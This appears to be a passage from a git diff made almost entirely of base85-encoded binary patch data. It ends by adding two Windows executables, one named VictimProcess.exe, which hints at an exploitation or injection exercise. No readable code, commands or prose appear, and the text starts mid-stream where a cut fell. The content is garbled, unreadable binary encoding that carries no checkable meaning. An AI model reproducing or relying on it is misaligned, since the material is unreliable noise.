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

JAjC=#>|hc8qm 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 diff --git a/executables/VictimProcess.exe b/executables/VictimProcess.exe new file mode 100644 index 0000000000000000000000000000000000000000..96a1d8f658ea664367a67aad08358e9efab18a75 GIT binary patch literal 6656 zcmeHLd2k!m8Gn-Hp!i6fU=wEuAR7m}5IZZaWh=4OD2^2ZwG$B=$4-+dLRwo=beKIH zn*k;sVTxx7&>>6@0>w2wfeuhw5@3jeQ%o6iwVXqso+uWNsZeb?In5Hpy0F;_b$Nw44z`Wps#}=?h=08_LHFJRsB*7UorCLcj6Tz@odx^P1-1 zwmV*H`Vr*Y?s%nXzfM1Bx<#i`y58kD-1L3jKfmc9XjRwWGX5{={#9Ks>vVI-AEcOH zl!3?1Sc@T-Eh=B(pYxeyMnk@#fU!JEEUmqDF=!FMLb5B(8yTBNBHA2fJ0VaJ(Q=q; zP6J7cZjzdzgI48BGd`eo>v z%|J9S$~7}@aC);awzEbI_+%erM{}WqLQgbP6G(bK@H5bJbg-9HZl)GLaidUND1lGk^)9IS8r7v57FblFW7Yh~vg_%~e z&*EZya;%|{aW1A9KN@@gL9D=m)~$?nufkq%G1aKSwz8=`4qT<)W{=v@e&tH6~H{Q z6OqPE6}9AK-v(in*x(96RfHjv0dv@#I%#CAYb;z4oI#ONmm?Ve z=J58}zzFS2)nigWc`}H2>a%?E*usYv3?=3KhNqNc{KxCnlT$e$tLzcjmAvo;sfQ`n z)aq5|>6#V8x+Qo3g9d*NlzJOEc6A}dl5zL!NlnuZ;8JGqzYR2OFU6cPvCa+NOMUiJ zp9l3ml2*)85flnT!Ieo{FaQ1^Td1;Vn>Sj1l_`J5Tu}v!>omxmW7^y|5VY6l@ zL9dIuH7ygW5W+8dNsye)kGb>P2jTuC6gvNU833 zPjf#D?lRmHPD+6(`C7>ah$9p-lV_?PS&XILG9ugWBJnHLX|1FfPS`c=H1mzHYl=D5 z0-A7=3WF);upw1T`3L8lSTbcNcKaAQ4^CI)Fcw~t>Vygj=Z1}4&wXRmVMUgOwS-GJ z!so3ZY_B5htN`x5xx}NB!e*VEXVFRSGMy|h)k$?R$o^Y%H-M;aHrl9D)2It{uiHG@ zLh{hjSxpj0(+kLNb(RtDXM3>P+a?n<)pJuQ$?4VIQw{X`D8 zWJ<9b425 zjXBROd~|K`!biL2C6c8%hlk#j&sDE0PS5Z*8FxPU?;X-9r0a1oeLtG%ZbT?544)iarC*E%kEJihD@qsc zgApAP)5QtlI7%ag^3~s(Y{dI1bM;lwU<9 z+{cIAvs#G>qLmnPn%V1~hEoAKwI18+p5ZE}NBk2n4eR^JyMtQnCY|%=#A#7KddaNUTU+b5&eq9fJ ztmKAEJ9msFF2XZo$5^;H=qSgURN)>-2uE>$P%PEX5I}nscSK@FQwnf~wUPkEoDy)k z-a(f}LYU2X>wcP@o(9BD?sZRM@!$2JmufH719?(W8sJEQIx~FTQB8SQdsUy4rc8pP zo|#ok(cD^E= zW3i?brAr=MQiLN$OP*S*&#ZJi&bCXRNwbb`)^UrDJvwgJai@-V>Nu$5h>m-8Tm<}e z``@j=lgk;q1<()J0cZl$0L};83!wJMg^WE5cpEScm;ubg2V4$d=CF;WB=O}8C3($a z7i$Aho3p>3WuIT-V#@&8_K7Sz>EFltII`AnBlvw5#-1rBYr5^nI#*b*zp`}C(_Vw_ z^V(N=kFGbiVg-CXLQ}kdExWSKy_vVw1R@c}b{V{#{$6=~C?X3YTVnM3qEe4n=nu(^ znT=lW?jAvo`a&_E*dsCacZ1g}39{GM+v}AFdIiQd&P)3yjOk7*jb49R;{q3tb%%Q7 zpeXnP_+Iu!1a>?fL6HP8>XURQ{`xt0AQ?b{}NPM}Q5SZiCyy3JM_m#*i&94|86#Z0+gC8l#V zn4b^F!cX&Izd}S5J|5GHwA$p&aK)5$UwoI~-R+YlOp~qC>nDrxNO!LnwZDccOi6gt zDT%e|8pK$c!5#CXE}nQOMyuG9bD7kfDThZCBq1iVD0G=jfE@dKN_+038I7>!dYpp;VLZxovBc)$60x0`}%4} zrA3l)mH6oBIx7bRsdCLX3-cO%k|ad0iVRo~ASO906*0D2@&|>ePpXcF{9;^+cgxkd ztXBJ^XicBB(t-mP>J}uqBYQN2vRE2rQIX`!V%_mfwDSKFjW5^xp{FGH6)_|aWMpVW z;c5k=2my~6>cdIw5u{VbY_q!`UFl+M5&DFPB|_L)>60$gZzHkNqJ-A^>G|!f?Dj<@ zq0+MQRGh|@Upz|V%G2i5xbjqT=-#+;u5J*r*5M0T{0F=O>z2crxgu^USHrF5T-;`E z8z*paPT{WSZs3NwTe#b~JGpzfhq=eNBsamm#!Ye`a369fxLM9%ooCIrF0wAQR$DK% z_E-n3gVr0Zs`UZuudR<+4_POyZ(856PFXc;t}V~D*j8#g-*$=3YHP48Q7iwRr-DAJg{xkb;?T73W_D}3Nb&KmRtgETx>l}5P z>UPux>UP)NT=%`Y2kOS_UaBjsUtC{ZZ>yKz7;c_qw-dj+}d${|#2f0VM8Dt-@2CW6QBHIcZXY<&;u*zRq!@mGuW6k*h literal 0 HcmV?d00001 diff --git a/executables/cfg_hello.exe b/executables/cfg_hello.exe new file mode 100644 index 0000000000000000000000000000000000000000..6ac527136b1383ffc4f6c5814c8f9d5cb91a4bba GIT binary patch literal 9216 zcmeHM4{(!5c3;^N2;)D3!vqot!q_n+U}Q;lY$OMP5iyA!3^q0pKnUxzB}JAT>HEM? zxG^Vtg6_i!*CT1J<*wn#T}dX*kelRU5}F9iVRPdII>V$ia8u76lYA6+;<=DOQ#b1G z?I#i0m%Fyp&ZN`HdiK5D-@e^_`}XbIPwTqPhn(vlYi3%;SR%n#A2=lkr+=D^qB(co zTe_D^pwYDrK(|f|Q>^O!*}`)GLqBQ2qWH-V;R*rtE;4Slrx9fZg%D?s|Bl`O1N< zA4i2Trd-164>+$LwOU}G^DAtp^SYNp028i>TI_jK(rW?BN|08BgNLQ7AAsv($l$1v;iOPq>dzuuds+VYx z%bWcf&GP$+{IeJ)@qyCDy71KZ0078dm-SJmqSfE5E|T*S*kggFHeG zxtJCy=@a?0Q1DLCvUnnYA&T{h{6es;{gB%~QixvuyAt_EKyV|SKV#E-i;m4Ib+A~@ z45Il4qI0u}mg$LBX+c{L=9@UnDdcP}<4iXOr*A!2bepp!H^GiPqg#kJ*~yO0;aq#n z2;S?|A6rcIo~vVt#DLBVQ4Ri%Qsc2g)CP33KuPfd-5lNu3+WanOMdOfC*o|NYcc8> zu#;Ms`KgQ5>TaWcdYH*M4DD3+8t21zhGC!cv~t<0Z<1^5nS*(6u9(rgZdT?+6ec|} zx-j$iwhzSFa$UCVk?e4myi%XJGTSy7&W@g0X!}6=XG?tB)_(cSjel)Y-s0y*GOkxdf7rO8SZ z1Kyab+VV-1H{H6t>7Mwliwm53z8Tbe5Yb76FV}D|Ix-_F+=N@-j0(5ukQt2R^tUa} zn=$8DB7X*|rBq;Qq1QPAp*dV=w6|`|;vBI!$1JDM_p3hK)co#aA35HB2g)XF7esB( z`_g^NVazHI+Ac_wPp(Ddja;BvIny3y?DVi<>R^m}|E<4wA#}j)w|#XR4GkfbTjGxX zJ_d92dpFW*^RqEKT(jRxpI{&wgfK;h#(H^B z@Z+j!SFgla&%u9BBx1b>h(6m*^v7L9-`Gp^?>a$S4?g=MXT8sJ_G6K=o(|4_7U1k} zyJGHT%!zlDp;RO^1_`DQ`WXG7lKGt)Hw;m@=euqej9x%;-^LRdddBFJ! zG)7>5J&~`6CH<^-W8&78UgzcATOyY@3Z+LytwjjS)5> 